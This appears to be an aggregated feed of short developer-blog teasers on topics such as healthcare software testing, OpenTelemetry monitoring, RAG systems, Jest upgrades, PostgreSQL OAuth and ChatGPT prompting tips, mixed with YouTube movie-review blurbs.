    The last few years have been quite transformative for the healthcare industry. Medical diagnosis and patient records, which were once maintained on paper, have shifted almost entirely to the digital realm. Naturally, a system that manages such critical information must be tested thoroughly. Even a minor flaw, like a mismatched patient data or delayed test results, can lead to misdiagnosis and compromise patient safety. This blog guides you through the entire process of healthcare domain testing, including its challenges, solutions, and the best practices to follow. Let’s get started. Healthcare domain testing is the process of assessing healthcare software systems such as patient apps, clinical devices, and electronic health records (EHRs) to verify if they’re functioning correctly. What t…  ( 13 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff’s video lays out four clever ChatGPT hacks—Prompt Reversal, the 5-Minute Amplifier, the Red Team technique and Blueprint Scaffolding—to help you reverse-engineer winning prompts, spin one idea into all sorts of formats, have AI critique its own work and force it to show its reasoning before it delivers. With real, copy-and-paste examples you can use in any role or industry, these tricks have already slashed his AI workflow in half—so you’ll get solid results on the first try instead of wasting hours chasing better outputs. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    CinemaSins just dropped a new “Everything Wrong With” video skewering Thunderbolts in under 20 minutes—counting every plot hole, cheesy moment, and head-scratcher. Of course, between the snark and sin tally, they admit the movie might actually be kinda great (just don’t tell them we said that). Want more? Head over to cinemasins.com for all their channels and videos, follow @Official_CinemaSins on social, hop into the Discord or Reddit, fill out their sin-tastic poll, and if you’re feeling generous, support the team on Patreon. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators (2010) is a welcome reboot that ditches the glossy urban carnage of its predecessors and the limp 1990 sequel, plopping a ragtag squad of misfits into a mud-caked jungle showdown. It’s the franchise’s spiky return to form, complete with slick new twists that actually feel earned. In this Caravan of Garbage review, Mr Sunday Movies praises the film’s gritty vibes and clever tweaks—lamenting only that this crowd-pleaser never got the sequel it richly deserved. Watch on YouTube  ( 6 min )
    Building Node.js CLI Tool.
    Recently, while revising Node.js, I came across the project section Node.js roadmap on roadmap.sh(https://roadmap.sh). The first project challenge there is to create a CLI (Command-Line Interface) tool using Node.js. So,I decided to build one to refresh my basics. This post explains how CLI tools actually work under the hood and how to build one yourself from scratch. Before creating any CLI, we must understand how operating systems execute scripts. Normally, when you run a Node.js file like this: node index.js it’s Node.js that runs the file — not your operating system. The OS doesn’t automatically know how to execute JavaScript — it just knows how to run: Compiled binaries (bash, python, node, etc.) Or scripts that explicitly tell it which program should interpret them. If you want y…  ( 7 min )
    💡 How to Design Better Architecture
    Introduction Are you about to design a new project and wondering what architecture to choose? If your colleagues tell you that they watched a course on how to design microservices, everything will be under control - don't believe them. Microservices because they're cool and trendy? Think twice, while they promise scalability and independence, microservices can quickly devolve into a distributed mess of tangled dependencies, network latencies, and operational headaches, making every change debugging nightmare. Monoliths because they're more practical and straightforward? Possibly, but monoliths tend to turn into unmaintainable mess as the codebase grows, especially when multiple domains are mixed together, blurring boundaries, making every change a risky adventure across tightly coupled sys…  ( 8 min )
    Guide To Leverage The Built-in Barcode Scanners on Android PDAs with Flutter
    Ever wonder how you can leverage those built-in barcode scanner or sometimes it is called as PDA handheld scanners that runs on Android operating system in your Flutter app? You are in luck! This guide introduce you the flutter_pda_scanner_v2 package which is designed to help you to integrate into your Flutter app and operate the barcode scanner. Before we dive right in, I have to first clarify that the package is originally fork or reference it from flutter_pda_scanner and pda_scanner. Due to the lack of update and response from the predecessor, therefore I choose to separate out the repository to include certain new enhancement such as supporting Android V2 Embedding and also include a wider range of compatibility with the latest Android PDA device models. There are also other viable alt…  ( 7 min )
    OpenMicrofrontends Specification Released
    The OpenMicrofrontends project aims to provide a formal specification for Microfrontends provided by a server. Think of it as OpenAPI for Microfrontends. The project just released version 1.0.0 of the specification and a generator to create type-safe integration code on the Microfrontend- and the Host Application-side. Example Description: $schema: https://open-microfrontends.org/schemas/1-0-0.json openMicrofrontends: 1.0.0 servers: - url: 'http://localhost:7890' description: Local Test Server microfrontends: - name: My First Microfrontend assets: basePath: /public js: moduleSystem: ESM initial: - Microfrontend.js rendererFunctionName: startMyFirstMicrofrontend config: schema: type: object properties: welcomeMessage: type: string required: ["welcomeMessage"] default: welcomeMessage: Hello World! messages: ping: publish: true subscribe: true schema: type: object properties: ping: const: true required: ["ping"] Find out more on the project homepage.  ( 6 min )
    OutcomeOps: The Operating Model for Engineers Who Own the Outcome
    We’ve hit a wall in the software industry—and most people are too deep in Jira tickets or conference slides to realize it. DevOps is dead. Not because the ideas were wrong, but because the implementation lost the plot. It was supposed to be about breaking down silos, accelerating delivery, and aligning engineering with outcomes. Instead, it got hijacked by process theater and rebranded operations teams. Today? “DevOps” means YAML jockeys babysitting pipelines, managing Terraform drift, and debating whether Snyk or Prisma is more “shift-left.” We turned a movement into a tooling checklist. And then there’s “vibe coding”—the aesthetic obsession with dark-mode VSCode, AI copilots, and working from a van in Patagonia. It’s cool for Twitter. It looks good in Reels. But it doesn’t ship. It doesn…  ( 7 min )
    How to Think About Games: Godot
    Welcome to “How to Think About Games”. This series of articles will explore the design philosophy behind different game engines. Each article’s goal is to give you an idea of where the head of a developer using the engine should be at. This won’t necessarily tell you how to use it, but each article intended to help you find if the game engine's philosophy makes sense to you, quickly helping someone who's already a developer decide if the structure is useful to them. This should help you decide what engine to use without bias, as comparison to other engines will be avoided as much as possible. This is just about how to think about games. Godot is the topic of this article. Godot is an open-source game engine. A recent contender and popular choice. It’s free, and known for being particularly…  ( 8 min )
    Mastering Python Strings: A Deep Dive for Senior Developers
    Of all the data types you’ll encounter in your programming journey, few are as fundamental and ubiquitous as the string. From processing user input to generating AI-powered reports, text is the connective tissue of modern software. Yet, many developers, even experienced ones, only skim the surface of what Python’s strings can do. They might know how to concatenate and print, but they often miss the rich, nuanced toolkit that can elevate their code from functional to exceptional. Have you ever found yourself wrestling with cumbersome + signs to build a simple log message? Or written a convoluted function to parse a line of text when a single method call would have sufficed? You’re not alone. The path to string mastery is paved with these common hurdles. But moving beyond them is what separa…  ( 13 min )
    Playwright MCP AI Agent Comparison: Performance, Cost and Integration Guide
    Playwright MCP AI Agent — Final Comparison Report 📊 Performance Comparison AI Agent Simple Tests Complex Tests Error Handling VS Code Integration GitHub Copilot 90% 80% 75% 10/10 Claude AI 95% 90% 90% 8.5/10 GPT-5 / Codex 93% 87% 82% 7.5/10 🏆 Performance Winner: Claude AI 🏆 Integration Winner: GitHub Copilot Cost Comparison (Updated 2025) AI Agent Individual Cost Team (10 Users) Cost Model GitHub Copilot ~$10/month ~$100–190/month Flat Subscription Claude AI ~$20/month ~$200+/month Subscription + Usage Tier GPT-5 / Codex Usage-based (varies by tokens) Usage-based Pay-Per-Use 🏆 Cost Winner: GitHub Copilot Security Comparison AI Agent Data Privacy Enterprise Security Compliance GitHub Copilot 9/10 SOC 2, FedRAMP Excellent Claude AI 9/10 HI…  ( 7 min )
    Beyond the Basics: 5 Advanced Prompting Strategies that Turn LLMs into Autonomous Agents (Prompt Engineering for Devs - Part 3)
    We've covered the basics and moved into intermediate techniques, but now it's time to unlock the real power of Large Language Models (LLMs). This final installment of the Prompt Engineering series dives deep into advanced strategies that turn a basic LLM into a sophisticated, autonomous reasoning agent. Prompt Engineering (Part 2) Let us start with: Chain of Thought Prompting (Step by Step Reasoning): This type of prompting shows the AI model how to reason and solve a specific problem by breaking down the problem into step that are interconnected. The previous step acts as the base for the next step. Problem: Laxmi has 34 apples. She gives 20 to Sudha who already has 10 apples. How many apples do Laxmi and Sudha have individually? Chain-of-Thought Reasoning Laxmi has 34 apples. She gave…  ( 11 min )
    🐍 Using Python to Extend Go High Level’s Capabilities via API
    Most Go High Level users barely scratch the surface of what the platform can do. But what if you could go beyond what the visual automations allow? That’s where Python + the Go High Level API comes in. As your business grows, so does the complexity of your operations. You might want to: Sync data between GHL and an external CRM or Google Sheet Generate advanced reports that GHL’s dashboard doesn’t provide Trigger automations from Stripe, Notion, or Airtable Use AI to write follow-up messages and push them into GHL automatically With Python, you can interact directly with Go High Level’s API — giving you total control over data flow, automation logic, and integration. The Go High Level REST API gives developers access to almost every major function available in your dashboard — including co…  ( 9 min )
    Understanding the FTSE AIM 100 Index: A Comprehensive Overview
    The FTSE AIM 100 Index represents a vital segment of the UK’s financial landscape. It tracks the performance of the largest 100 companies listed on the Alternative Investment Market (AIM) of the London Stock Exchange. The AIM was established in 1995 to give smaller, growing businesses access to public capital while maintaining flexibility in listing requirements. Over time, this segment has become a key platform for innovative companies seeking investment, offering opportunities for both investors and entrepreneurs alike. The FTSE AIM 100 Index includes some of the most dynamic, fast-growing, and high-potential businesses across sectors like technology, healthcare, natural resources, and financial services. Understanding the structure, composition, and movement of this index can provide va…  ( 9 min )
    The Best LLM and AI Orchestration Toolkits for Your Stack
    The Best LLM and AI Orchestration Toolkits for Your Stack When OpenAI launched GPT-4o and set the standard for multimodal models, the AI race accelerated. Google responded with Gemini 2.5 Pro, offering a context window of a million tokens, while Anthropic released Claude 3.7 Sonnet, boosting reasoning capabilities. Meta also entered the scene with Llama 4 Maverick, proving that open-source licenses no longer mean second-tier quality. Costs are trending down as well - Mistral Medium 3 undercuts larger names at just $0.40 per million input tokens. But choosing the right large language model (LLM) is only half of the challenge. Deploying these models in real-world systems requires a strong focus on orchestration. Businesses must manage strict latency budgets, control GPU costs, meet safety …  ( 9 min )
    [Boost]
    From Localhost to Live: Sharing Django Projects Seamlessly Lightning Developer ・ Nov 10 #webdev #django #pinggy #tutorial  ( 5 min )
    Building AI-Powered BSS: A Developer’s Perspective on Telecom’s Next Evolution
    For years, BSS (Business Support Systems) in telecom have been the least exciting part of the stack — reliable but rigid. AI isn’t just about predictive analytics anymore — it’s becoming the brain of next-gen BSS. The catch? Integrating AI into legacy BSS is messy. Data lives across silos. Existing workflows aren’t built for feedback loops. Real-time policy changes can break downstream integrations. That’s where developers come in — to make the architecture AI-ready: Decouple logic into microservices Use APIs for dynamic orchestration Layer in ML models that learn from transaction patterns Automate routine configuration through event-driven pipelines At TelcoEdge, for example, teams are experimenting with AI-based orchestration layers that sit between the BSS and the network layer — automating decisions like usage optimization, billing adjustments, and SLA enforcement. They shared a deeper look in their recent piece: AI-Powered BSS: Can Automation Really Turn Telecom into a Growth Business? It’s an interesting read if you’re exploring how to merge AI workflows with telco-grade reliability. Would love to hear from other developers working with telecom APIs or automation frameworks — How would you build a BSS that can learn, adapt, and self-optimize?  ( 6 min )
    💼 JavaScript Jobs — The #1 Job Board for JavaScript Developers
    Looking for your next role in JavaScript? Whether you specialize in React, Angular, Node, TypeScript or vanilla JS, this board has you covered—with thousands of remote-friendly job listings worldwide. 🔗 javascript.jobs  ( 6 min )
    Cursor Composer 1 vs SWE 1.5 What Surprised Me Most After Testing Both
    I’ve spent the last few weeks living with two of the most talked-about AI coding assistants, Cursor Composer 1 and Cognition SWE 1.5, inside real multi-service projects connected through Composio’s Rube MCP gateway. Not toy apps. Not single-file demos. Actual workflows: browser extensions, API connections, and live data running through real services. Here’s what stood out. Cursor’s Secret Strength: Flow Cursor still nails what it set out to do: get you to a working prototype fast. But when the project grew past one file, that same speed started working against it. Quick fixes piled up. Error handling got messy. The MVP was done, but scaling it felt like untangling a ball of wires. SWE 1.5’s Advantage: Structure SWE 1.5 took longer to reach the same MVP, but the code it wrote looked like so…  ( 7 min )
    OpenTelemetry Docker Monitoring with Collector and Docker Stats
    Docker containers are lightweight and portable, but their dynamic nature makes monitoring challenging. Containers start, stop, and move between hosts constantly—you need visibility into their resource usage and performance. This guide explains how to monitor Docker containers using the OpenTelemetry Collector with the Docker Stats receiver. It covers setting up the Collector (either directly or with Docker Compose), collecting container metrics, and exporting them to your monitoring backend. Monitoring Docker containers is a key part of ensuring that containerized applications run reliably and perform efficiently. Here's why it matters: Performance Optimization: Identify resource bottlenecks and optimize container performance before they impact users. By tracking CPU, memory, and I/O metri…  ( 19 min )
    As AI Voice Agents scale into real-time, multi-modal systems, visibility into pipelines becomes essential. Even a small latency spike can break flow. Here’s a detailed breakdown of how VideoSDK uses tracing + analytics to solve this with precision
    A Practical Guide to AI Voice Agent Observability: Debugging Latency with VideoSDK Traces Chaitrali Kakde ・ Nov 10 #ai #agents #voiceagent #opensource  ( 6 min )
    I Let 5 AI Agents Fight Inside My Database
    This is a submission for the Agentic Postgres Challenge with Tiger Data Now I Can't Sleep 😭🐯 My coffee is cold. My brain is fried. 18 days back → “just another Postgres” Today → 5 angry AI ghosts shout in my laptop: “USE BRIN INDEX!!” “NO!! GIN BETTER!!” “FORK ME NOW!!” “ZERO COPY OR I CRY!!” “ROLLBACK MY LIFE!!” All this magic = Tiger Data Same team that made TimescaleDB (Toyota, Mistral use it) Made Agentic Postgres → database born for AI Free plan → unlimited forks, super fast search, zero cost Just type: tiger create service boom → done in 8 seconds No card. No joke. Link → https://tigerdata.com Made 5 copies of same database in 2 seconds Gave each AI its own copy to break Best one wins → click merge Others → delete → gone forever Total cost = ₹0 Future not coming. Tiger Data already forked it at 3 AM. I still hear “GIN!!” when I close eyes. You also try → https://tigerdata.com Break something today 😈  ( 6 min )
    Django OpenTelemetry Instrumentation Guide
    OpenTelemetry enables comprehensive monitoring of Django applications by automatically collecting telemetry data including request and response times, database query performance, and custom metrics. By integrating OpenTelemetry, you can capture distributed traces and metrics, then export this data to various observability backends for analysis and visualization. Django is an open-source, high-level web framework written in Python. It follows the Model-View-Template (MVT) architectural pattern and provides a robust set of tools and features that simplify and accelerate web application development. Django is designed to promote clean, maintainable code and follows the "Don't Repeat Yourself" (DRY) principle, emphasizing code reusability and reducing redundancy. OpenTelemetry is an open-sourc…  ( 14 min )
    OpenTelemetry database sql [otelsql]
    OpenTelemetry database SQL provides libraries and tools for instrumenting SQL databases such as PostgreSQL, MySQL, and Microsoft SQL Server to collect telemetry data. database/sql package provides a lightweight and idiomatic interface to row-oriented databases in Golang. It supports most popular relational DBMS via 3-rd party drivers. This article will teach you how to monitor database/sql performance using OpenTelemetry observability framework. OpenTelemetry is an open-source observability framework that aims to standardize and simplify the collection, processing, and export of telemetry data from applications and systems. OpenTelemetry supports multiple programming languages and platforms, making it suitable for a wide range of applications and environments. OpenTelemetry enables develop…  ( 7 min )
    Umbraco in the City - Community, Code, and Cuddles
    Last Friday, I had the excitement of attending the first-ever Umbraco in the City conference in Manchester—with a twist. My nine-month-old was my plus-one for the day, and honestly, I wasn't sure how it would go. Would I catch any of the talks? Would the baby cooperation gods smile upon me? TLDR: They did. And the Umbraco community showed up in the most wonderful way. Before I dive into the excellent technical talks I saw, I just want to say a really heart-felt thanks to the organising team who created a genuinely inclusive space. Bringing a baby to a tech conference isn't exactly standard operating procedure, but the organisers made it work without batting an eyelid. From the welcoming atmosphere to the practical accommodations, they showed that "friendly" isn't just a word we use—it's a…  ( 8 min )
    Why AI Developers Are Transitioning from Centralized Cloud to Decentralized Compute Networks: A Technical Overview
    In the fast-evolving AI landscape, infrastructure innovation matters as much as model design. Traditional centralized cloud systems have powered years of AI growth—but as workloads scale, developers face challenges around cost, scalability, and control. 1.1 Cost and Resource Efficiency 1.2 Data Sovereignty and Privacy 1.3 Scalability and Latency A decentralized compute platform functions as an on-chain marketplace where compute resources are listed, priced, and allocated programmatically. Peer-to-peer compute provisioning via blockchain coordination. Transparent usage verification through smart contracts. Token-based settlement layer for low-friction payments. Example networks Akash Network — GPU marketplace built on Cosmos SDK. Acurast — leverages mobile devices for distributed computatio…  ( 8 min )
    AI Coding Assistants for Beginners: How to Use ChatGPT & Copilot Without ‘Cheating’
    Hey devs 👋 I’m Dhruv Joshi, a technical writer and developer who spends a lot of time helping beginners ship their first real-world projects. If you’ve just started coding, you’ve probably asked yourself: “If I use ChatGPT or GitHub Copilot… am I cheating?” Short answer: you’re not cheating if you’re still learning, thinking, and taking responsibility for your code. You are cheating yourself if you stop doing those things. In this post, I’ll show you how to use an AI coding assistant for beginners (like ChatGPT or Copilot) in a healthy way — more like a pair programmer than a shortcut machine. When we learned to code, the rules sounded like this: “Write every line yourself.” “Don’t copy-paste solutions from the internet.” “Real devs debug without help.” (Spoiler: they don’t.) Now there’s …  ( 11 min )
    Building a Cloud-Native App to Match Founders with the Right Hackathon
    I'm writing this blog as a participant in Cloud Run Hackathon by Google Cloud For the past several years, I’ve been self-funding my startup ideas by participating in hackathons that help me bring those ideas to life. Keeping tabs on the hackathons all the time to find which one would be the right fit for my startup ideas has become bit tedious. Finding relevant hackathons on Devpost is tedious: Keyword search misses semantically similar opportunities No personalized recommendations Manual filtering through hundreds of listings No notifications for new matching hackathons I built Hackathon.fund, an AI-powered platform that helps startup founders discover relevant hackathons on Devpost using semantic search. The entire application runs on Google Cloud Run - 11 deployments handling everythin…  ( 12 min )
    A Practical Guide to AI Voice Agent Observability: Debugging Latency with VideoSDK Traces
    As AI Voice agents evolve into complex, multi-modal systems handling real-time speech, video, and reasoning, performance observability becomes crucial. Even small latency spikes can break conversational flow. VideoSDK’s AI Voice Agent Observability tools give developers fine-grained visibility into every step of an agent’s pipeline from message ingestion to final response making latency debugging straightforward. What Is AI Agent Observability? AI Agent Observability is the ability to monitor, trace, and analyze the behavior of an AI system across multiple layers including input processing, reasoning, model calls, and response generation. Modern AI agents often integrate: Speech-to-Text (STT) for transcription Large Language Models (LLMs) for reasoning Text-to-Speech (TTS) for responses …  ( 9 min )
    How to Deposit Skins on Clash.gg
    How to Deposit Skins on Clash.gg: Step-by-Step Guide for 2026 Depositing your CS2 or CSGO skins on Clash.gg is simpler than it seems—once you know the right steps. Whether you’re new to trading or an experienced player, understanding how to transfer your skins safely and efficiently is key to making the most of your balance. This guide breaks down everything you need to know in a clear, step-by-step way. You’ll learn the requirements, best practices, and quick fixes for common issues, so you can deposit your skins with confidence and focus on enjoying the Clash.gg experience. Here’s a fast comparison of deposit options so you can choose what fits your plan and timing. Deposit Method What You Need Processing Time Typical Limits Skins Verified Clash.gg + linked Steam (inventory Pub…  ( 9 min )
    The Next Frontier in NLP: Smarter Agents, Not Just Bigger Models
    Introduction: Beyond the Limits of Supervised Learning Imagine a world where AI not only mimics human summaries but also exceeds them in quality. For years, Natural Language Processing (NLP) has relied on Supervised Fine-Tuning (SFT) to train language models to replicate human-written summaries. While this method works, it has flaws and treats all errors the same, whether they are minor phrasing issues or major inaccuracies. It also depends on metrics like ROUGE (Recall-Oriented Understudy for Gisting Evaluation), which often do not match human judgment. Reinforcement Learning from Human Feedback (RLHF) is a groundbreaking technique developed by OpenAI (Stiennon et al., 2020). By focusing on human preferences instead of fixed examples, RLHF creates summaries that frequently outperform th…  ( 8 min )
    Why Your Engineering Team Can't Fix Your Cloud Costs (And What Actually Works)
    TL;DR AWS Cost Explorer and Azure Advisor are reactive dashboards—they show you data, but don't act on it Manual FinOps fails because engineers lack time, context, and confidence to delete resources The average mid-sized company wastes $35,000-$50,000/year on zombie resources AI-powered cost governance with confidence-scored recommendations solves decision paralysis Real example: A growing startup cut $12,400/month using automated tagging and AI analysis It's 9 PM on a Thursday. Your CTO is staring at the AWS billing dashboard. Again. $52,000 this month. Up from $41,000 last quarter. She knows where the money is going—sort of. Cost Explorer shows EC2 is 38% of the bill. RDS another 27%. Load balancers, S3, data transfer... it's all there in beautiful, color-coded graphs. But here's the …  ( 14 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff Su breaks down four killer ChatGPT tricks—Prompt Reversal, the 5-Minute Amplifier, the Red Team Technique, and Blueprint Scaffolding—that let you stop the endless prompt tweak cycle and get better results faster. By reverse-engineering your best prompts, turning one piece of content into multiple formats, having AI self-critique, and forcing it to map out its logic first, you can literally cut your AI workflow in half. Each hack comes with real-world demos you can copy today, plus free resources like an ebook, blog post, and course waitlist to supercharge your setup. Whether you’re writing marketing copy, coding, or just trying to stay sane at work, these tips work across any role or industry. Watch on YouTube  ( 6 min )
    How to Build Production-Ready RAG Systems (at Scale, with Low Latency & High Accuracy)
    Retrieval-Augmented Generation (RAG) has become the go-to architecture for building AI applications that need access to current, domain-specific information. However, moving from a prototype RAG system to a production-ready solution involves addressing numerous challenges around accuracy, latency, cost, compliance, and maintainability. At QLoop Technologies, we've deployed RAG systems handling over 10 million queries per month across various industries. This post shares a battle-tested playbook to build RAG systems that work at scale. Clean, high-quality data and adaptive chunking are foundational. Use hybrid retrieval (dense + sparse) with reranking. Optimize vector DB with caching, sharding, and index tuning. Manage context window dynamically to reduce cost. Monitor continuously: latency…  ( 10 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR Cinema Sins just slammed through Everything Wrong With Thunderbolts (The New Avengers) in 20 Minutes Or Less, pointing out every nit-pick and plot hole in rapid fire. The vid description doubles as a promo strip—links to their main site, YouTube channels, link tree, a fun poll, Patreon pitch, Discord, Reddit, Instagram and TikTok shout-outs—complete with a writers’ roll call for extra credit. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators swings the franchise back to its roots after a lackluster ’90 sequel and two Alien vs Predator crossovers, dropping a ragtag crew into a muddy jungle face-off. It blends classic thrills with fresh twists that make it Mr Sunday Movies’ favorite “Caravan of Garbage” installment. Too bad we never got a proper sequel—here’s hoping those Predator vibes make a roaring comeback soon! Watch on YouTube  ( 6 min )
    Updating to Jest 30 is Frustrating (it's JSDOM)
    It's time to update from Jest 29 to 30 for me. They changed the snapshot files: the link in the header changed. I find short-links disturbing anyway. - // Jest Snapshot v1, https://goo.gl/fbAQLP + // Jest Snapshot v1, https://jestjs.io/docs/snapshot-testing Then they removed some deprecated matcher aliases. (expect(fn).toBeCalled() → expect(fn).toHaveBeenCalled()) It took a while but was manageable. Then I got really confused when I found out some modules are not mocked anymore. As it turns out jest.mock("./path/to/module") is case-sensitive now. Jest updated JSDOM from Version 20 to 26. It added show-stopping CSS-bugs for me (el.style.boxShadow = undefined became el.style.boxShadow === "undefined" instead of the expected el.style.boxShadow === ""), fixed them in Version 27 and introduced…  ( 7 min )
    🦓 The Tale of the Humbled Process Engineer —  Episode I: The Pattern of the Chameleons 🦎
    The Birth of Illusion In every organization that fears exposure, truth becomes an intruder – and illusion, a cherished guest. The winds of Automora carried the scent of burnt parchment. The Assessment had ended weeks ago, yet its shadow lingered like smoke that refused to dissipate. Scrolls filled with numbers – metrics, maturity levels, ratings – had been rolled, sealed, and placed in gilded cabinets for the Hyena Commissioner to parade at council. But behind those cabinets lay wreckage, disbelief, and the sour odor of panic. No one accepted the verdict. potential!" The court nodded vigorously, repeating the phrase like a sacred chant. But in the side halls, whispers coiled: biased auditors, unfair sampling, unrealistic criteria. Fear stalked the marble floors with padded feet. Among the …  ( 16 min )
    Synthetic Data Generator
    By Oliver | November 7, 2025 Imagine you're building a new mobile app for a bank. Before launching it to real customers, you need to test it thoroughly. But here's the catch: you can't use real customer data for testing - that would be a privacy nightmare and potentially illegal. You also can't just make up random numbers and names because your app needs to handle realistic scenarios. This is where synthetic data comes in. It's like having a movie set instead of real location. Everything looks authentic, but it's all carefully constructed and completely safe to use. That's exactly what I built: DataGen - a Python library that creates realistic synthetic datasets at the click of a button. Think of DataGen as a digital factory for fake-but-realistic data. Just like a toy factory can produce …  ( 12 min )
    Integrating Pagy with Hanami (2025 edition)
    Back in 2018 I wrote a post about connecting Hanami (then 1.x) and Pagy gem together. My verdict was not that favorable. I had to write quite a lot of glue code to make it work and perhaps the worst thing was that I had to pass the request object to the template to make it work. However, things have changed since then: Hanami is now 2.3, its persistence layer is more mature, based on ROM and allows to fall back to almost-bare-Sequel via relations. Pagy released version 43 this week. It's advertised as a complete rewrite of its internals and APIs. We needed a leap version to unequivocally signaling that it's not just a major version: it's a complete redesign of the legacy code at all levels, usage and API included. There's no better time to take it for another spin then! I quickly spun up a…  ( 7 min )
    Role-Based Authorization for Rails: How We Built Rabarber
    The Problem We built an admin area for a sales company that included a custom CRM, marketing tools, content management, and internal developer utilities. Different employees had different responsibilities: Managers handled customer calls and notes Analysts worked with marketing reports Accountants dealt with invoices Administrators oversaw everything Developers maintained internal tools The business needed an authorization system that enforced access strictly according to employee responsibilities. When employees left the company, we also needed to revoke their access without deleting accounts and associated historical data. Our system needed to: Support different access levels for employees Provide admin-managed role assignments Preserve user accounts Allow revoking access when an emplo…  ( 9 min )
    Understanding Flexbox: A Beginner’s Journey to Perfect CSS Alignment
    I still remember the day I met Flexbox. Not the “oh wow this is cool” kind of meeting, but the “why is nothing aligning right?!” kind. That was the moment I realized: understanding Flexbox isn’t about memorizing properties, it’s about changing how you think about layout. I used to picture HTML elements like rigid boxes, stacked on top of each other, bumping into margins, floating aimlessly. Then one day, while debugging yet another layout mess, someone said: “Stop fighting the boxes. Let them flex.” It sounded poetic… and confusing. But when I applied display: flex; for the first time, it was like the page suddenly listened. My boxes started behaving like a team, aligning, wrapping, adjusting naturally without me wrestling with float or endless position: absolute;. That’s when Fle…  ( 8 min )
    From Auth to Action: The Complete Guide to Secure & Scalable AI Agent Infrastructure (2026)
    Key Takeaways Auth is Not Enough: Getting an OAuth token (Pillar 1) is just the first step. Production Needs Guardrails: You must build Granular Control (Pillar 2) with patterns like Brokered Credentials to prevent security risks. Scalability Requires an Engine: A reliable action layer (Pillar 3) with a Unified API and managed retries is essential to move from prototype to production. You've built a powerful AI agent. Using a framework like LangChain or CrewAI, you've designed a sophisticated workflow that can reason, plan, and execute tasks. There's just one problem: Your agent is trapped in a sandbox, unable to interact with the real world. To be useful, it needs access to user-specific tools like Google Calendar, Salesforce, or Jira. This is where you hit the "Authentication Wall". …  ( 16 min )
    From Retail Trader to Liquidity Provider: My Journey into Market Making 💥
    For years, I thought “market makers” were mythical creatures - hidden behind high-frequency walls, moving prices with mysterious algorithms and caffeine-infused reflexes. Then I realized they were just… traders like us, but with better APIs and more patience for spreadsheet chaos. When I started as a retail trader, I chased pumps, blamed latency, and prayed to the order-book gods. Every missed fill felt personal. The turning point came when I discovered Market Making Programs - and realized liquidity is the real alpha. Binance’s setup was my entry point. I loved the 0% maker fees on selected pairs - and yes, the extra 0.005% rebate for top performers didn’t hurt. Their API performance reviews were a reality check: it’s one thing to “think” you’re fast, another to actually see latency logs …  ( 7 min )
    OAuth 2.0 authorization in PostgreSQL using Keycloak as an example
    Hello! Today we will talk about authorization support via OAuth 2.0 Device Authorization Flow implemented in Tantor Postgres 17.5.0 DBMS. This is a modern and secure access method that allows applications to request access to PostgreSQL on behalf of the user through an external identification and access control provider, such as Keycloak, which is especially convenient for cloud environments and microservice architectures (the feature will also be available in PostgreSQL 18). In this article, we'll take a step-by-step look at configuring OAuth authorization in PostgreSQL using Keycloak: configure Keycloak, prepare PostgreSQL, write an OAuth token validator in PostgreSQL, and verify successful authorization via psql using Device Flow. Support for authorization via OAuth 2.0 Device Authoriza…  ( 35 min )
    Black Friday App Deals: 2025
    I Built a Free Directory for Black Friday SaaS Deals (And You Should Use It) Black Friday is coming up fast, and if you're like me, you're tired of missing out on great software deals because they're scattered across Twitter, Reddit, and random newsletters. So I built blackfridayappdeals.com — a simple, free directory where you can find all the best Black Friday and Cyber Monday deals for apps and SaaS products in one place. Why I Built This Every year, I watch indie makers and SaaS founders offer incredible Black Friday discounts — 50% off, lifetime deals, you name it. But there's no central place to discover them all. Buyers spend hours hunting deals across social media. Sellers struggle to get visibility for their offers. It felt like a problem worth solving. What's Different It's completely free. No paywalls, no sign-ups, no BS. Just deals. It's organized. Filter by category — productivity, developer tools, design, marketing, AI tools, and more. Search by app name or discount type. It's community-driven. Anyone can submit their deal using a simple Google Form. I manually review each one to keep quality high. For Founders: Get Your Deal Featured If you're running a Black Friday or Cyber Monday promotion for your app or SaaS: Go to blackfridayappdeals.com Click "Submit Deal" Fill out the form with your app details and discount That's it. It's free, it takes 2 minutes, and you'll get exposure to thousands of potential customers actively looking for deals. Deals go live on November 14th, and the site will stay active through Cyber Monday. For Shoppers: Bookmark It Now Whether you're a developer, designer, entrepreneur, or just someone who loves productivity tools, bookmark blackfridayappdeals.com now. The countdown is on. Black Friday 2025 is November 28th. Let's make this the easiest Black Friday shopping season yet. TL;DR: Free directory of Black Friday SaaS deals. Founders can submit for free. Shoppers get everything in one place. Win-win. Check it out here: blackfridayappdeals.com  ( 7 min )
    How ESG-Linked Salary Is Changing Corporate Leadership
    Executive compensation is evolving beyond traditional financial benchmarks. As sustainability moves to the forefront of corporate strategy, companies are increasingly aligning leadership incentives with ESG goals. According to the ISS Executive Compensation Analytics (ECA) database, the share of firms integrating ESG metrics into executive performance reviews rose from just 3% in 2010 to over 30% in 20211. This shift signals a growing recognition that executive compensations are intrinsically linked to environmental and social accountability. The Evolving Landscape of ESG-Linked Executive Compensation However, adoption patterns vary by geography. ESG-linked pay is more prevalent in jurisdictions with stronger sustainability mandates and disclosure requirements. In the European Union, over …  ( 12 min )
    check it out! would love some feedback!
    I Got Tired of Copy-Pasting Git Commands From ChatGPT, So I Built This Arjun Varma ・ Nov 10 #ai #git #productivity #showdev  ( 5 min )
    Monitoring Hetzner Cloud resources with AWS CloudWatch using Terraform
    In this tutorial, you will learn how to monitor your Hetzner Cloud infrastructure using AWS CloudWatch. This integration allows you to centralize your monitoring across both Hetzner and AWS resources in one unified dashboard. By the end of this tutorial, you will have set up automated metric collection from your Hetzner Cloud Load Balancers and Servers, with all metrics automatically pushed to AWS CloudWatch at regular intervals. This is particularly useful if your organization already uses AWS CloudWatch for monitoring and wants to include Hetzner Cloud resources in the same observability platform. We'll use a Terraform module that leverages AWS Step Functions to periodically fetch metrics from the Hetzner Cloud API and store them in CloudWatch. This serverless approach means there are no…  ( 12 min )
    What Are the Key Types of Compliance Reporting and How Can You Master Them?
